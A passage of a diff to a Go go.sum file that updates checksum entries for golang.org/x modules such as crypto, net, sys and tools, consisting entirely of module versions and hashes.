v0.0.0-20190424203555-c05e17bb3b2d/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190513172903-22d7a77e9e5f h1:R423Cnkcp5JABoeemiGEPlt9tHXFfw5kvc0yqlxRPWo= -golang.org/x/crypto v0.0.0-20190513172903-22d7a77e9e5f/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4 h1:HuIa8hRrWRSrqYzx1qI49NNxhdi2PrY7gxVSq1JjLDc= -golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191117063200-497ca9f6d64f h1:kz4KIr+xcPUsI3VMoqWfPMvtnJ6MGfiVwsWSVzphMO4= golang.org/x/crypto v0.0.0-20191117063200-497ca9f6d64f/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20191205180655-e7c4368fe9dd/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20200128174031-69ecbb4d6d5d/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200221231518-2aa609cf4a9d/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20200423211502-4bdfaf469ed5/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 h1:psW17arqaxU48Z5kZ0CQnkZWQJsqcURM6tKiBApRjXI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200709230013-948cd5f35899 h1:DZhuSZLsGlFL4CmhA8BcRA0mnthyA/nZ00AqCUo7vHg= golang.org/x/crypto v0.0.0-20200709230013-948cd5f35899/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20200820211705-5c72a883971a h1:vclmkQCjlDX5OydZ9wv8rBCcS0QyQY66Mpf/7BZbInM= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/lint v0.0.0-20180702182130-06c8688daad7/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= -golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190409202823-959b441ac422 h1:QzoH/1pFpZguR8NrRHLcO6jKqfv2zpuSqZLgdm7ZmjI= -golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= -golang.org/x/lint v0.0.0-20200302205851-738671d3881b h1:Wh+f8QHJXR411sJR8/vRBTZ7YapZaRvUcLFFJhusH0k= -golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5 h1:2M3HP5CCK1Si9FQhwnzYhXdG6DXeebvUHFpre8QvbyI= -golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= -golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= -golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee h1:WG0RUwxtNT4qqaXX3DPA8zHFNm/D9xaBpxzHt1WcA/E= -golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= -golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0 h1:RM4zey1++hCTbCVQfnWeKs9/IEsaBLA8vTkd0WVtmH4= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.1 h1:Kvvh58BN8Y9/lBi7hTekvtMpm07eUZ0ck5pRHpsMWrY= -golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181029044818-c44066c5c816/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181106065722-10aee1819953/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190125091013-d26f9f9a57f3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190228165749-92fc7df08ae7/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190313220215-9f648a60d977/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3 h1:0GoQqolDA55aaLxZyTzK/Y2ePZzZTUrRacwib7cNsYQ= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190420063019-afa5a82059c6/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190502183928-7f726cade0ab/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= -golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190724013045-ca1201d0de80 h1:Ao/3l156eZf2AW5wK8a7/smtodRU+gha3+BeqJ69lRk= -golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191119073136-fc4aabc6c914 h1:MlY3mEfbnWGmUi4rtHOtNnnnN4UJRGSyLPx+DXA5Sq4= golang.org/x/net v0.0.0-20191119073136-fc4aabc6c914/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= -golang.org/x/net v0.0.0-20200625001655-4c5254603344 h1:vGXIOMxbNfDTk/aXCmfdLgkrSV+Z2tcbze+pEc3v5W4= -golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= -golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= -golang.org/x/net v0.0.0-20200904194848-62affa334b73 h1:MXfv8rhZWmFeqX3GNZRsd6vOLoaCHjYEX3qkRo3YBUA= -golang.org/x/net v0.0.0-20200904194848-62affa334b73/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20201021035429-f5854403a974 h1:IX6qOQeG5uLjB/hjjwjedwfjND0hgjPMMyO1RoIXQNI= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net/http2/h2demo v0.0.0-20200904194848-62affa334b73 h1:xIA6ZaWr7lZH1eZbES2QpDeVNzAmwlpQGiUEcbF0wqM= -golang.org/x/net/http2/h2demo v0.0.0-20200904194848-62affa334b73/go.mod h1:Hr3tdaG4J+kFo5oVmQmj9KahfPFQQRL31ZOBpfSP6do= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20181017192945-9dcd33a902f4/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20181203162652-d668ce993890/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421 h1:Wo7BWFiOk0QRFMLYMqJGFMd9CgUAcGx7V+qEg/h5IBI= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20190402181905-9f3314589c9a h1:tImsplftrFpALCYumobsd0K86vlAs/eXGFms2txfJfA= -golang.org/x/oauth2 v0.0.0-20190402181905-9f3314589c9a/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/perf v0.0.0-20180704124530-6e6d33e29852/go.mod h1:JLpeXjPJfIyPr5TlbXLkXWLhP8nz10XfvxElABhCtcw= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -825,53 +279,32 @@ golang.org/x/sync v0.0.0-20190423024810-112230192c58 h1:8gQV6CLnAEikrhgkHFbMAEha golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e h1:vcxGaoTs7kV8m5Np9uUNQin4BrLOthgV7252N8V+FwY= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208 h1:qwRHBd0NqMbJxfbotnDhm2ByMI1Shq4Y6oRJo21SGJA= -golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 h1:SQFwaSi55rU7vdNs9Yr0Z324VNlrF+0wMqRXT4St8ck= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181029174526-d69651ed3497/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181122145206-62eef0e2fa9b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190124100055-b90733256f2e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190228124157-a34e9553db1e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190316082340-a2f829d7f35f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190502175342-a43fa875dd82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e h1:D5TXcfTk7xF7hvieo4QErS3qqCB4teTffacDWr7CI+0= -golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190801041406-cbf593c0f2f3 h1:4y9KwBHBgBNwDbtu44R5o1fdOCQUEXhbk/P4A9WmJq0= -golang.org/x/sys v0.0.0-20190801041406-cbf593c0f2f3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191220142924-d4481acd189f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191224085550-c709ea063b76/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200519105757-fe76b779f299/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae h1:Ih9Yo4hSPImZOpfGuA4bR/ORKTAbhZo2AbWNRCnevdo= golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200724161237-0e2f3a69832c h1:UIcGWL6/wpCfyGuJnRFJRurA+yj8RrW7Q6x2YMCXt6c= -golang.org/x/sys v0.0.0-20200724161237-0e2f3a69832c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200909081042-eff7692f9009 h1:W0lCpv29Hv0UaM1LXb9QlBHLNP8UFfcKjblhVCWftOM= -golang.org/x/sys v0.0.0-20200909081042-eff7692f9009/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200916084744-dbad9cb7cb7a h1:chkwkn8HYWVtTE5DCQNKYlkyptadXYY0+PuyaVdyMo4= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f h1:+Nyd8tzPX9R7BWHguqsrbFdRx3WQ/1ib8I44HXV5yTA= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/sys v0.0.0-20201231184435-2d18734c6014 h1:joucsQqXmyBVxViHCPFjG3hx8JzIFSaym3l3MM/Jsdg= +golang.org/x/sys v0.0.0-20201231184435-2d18734c6014/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210415045647-66c3f260301c h1:6L+uOeS3OQt/f4eFHXZcTxeZrGCuz+CLElgEBjbcTA4= +golang.org/x/sys v0.0.0-20210415045647-66c3f260301c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -881,52 +314,15 @@ golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20200416051211-89c76fbcd5d1 h1:NusfzzA6yGQ+ua51ck7E3omNUX/JuqbFSaRGqU8CcLI= -golang.org/x/time v0.0.0-20200416051211-89c76fbcd5d1/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180828015842-6cd1fcedba52/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20181030000716-a0a13e073c7b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190422233926-fe54fb35175b/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190727173135-db2fa46ec33c h1:NrEU3v+Wvf1J+Ne0gtb6OYmJiCDC4GDcup2dtt2ldPo= -golang.org/x/tools v0.0.0-20190727173135-db2fa46ec33c/go.mod h1:jcCCGcm9btYwXyDqrUWc6MKQKKGJCWEQ3AfLSRIbEuI= -golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d h1:/iIZNFGxc/a7C3yWjGcnboV+Tkc7mxr+p6fDztwoxuM= -golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7 h1:EBZoQjiKKPaLbPrbpssUfuHtwM6KV/vb4U85g/cigFY= -golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200221224223-e1da425f72fd h1:hHkvGJK23seRCflePJnVa9IMv8fsuavSCWKd11kDQFs= -golang.org/x/tools v0.0.0-20200221224223-e1da425f72fd/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200226224502-204d844ad48d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200331202046-9d5940d49312/go.mod 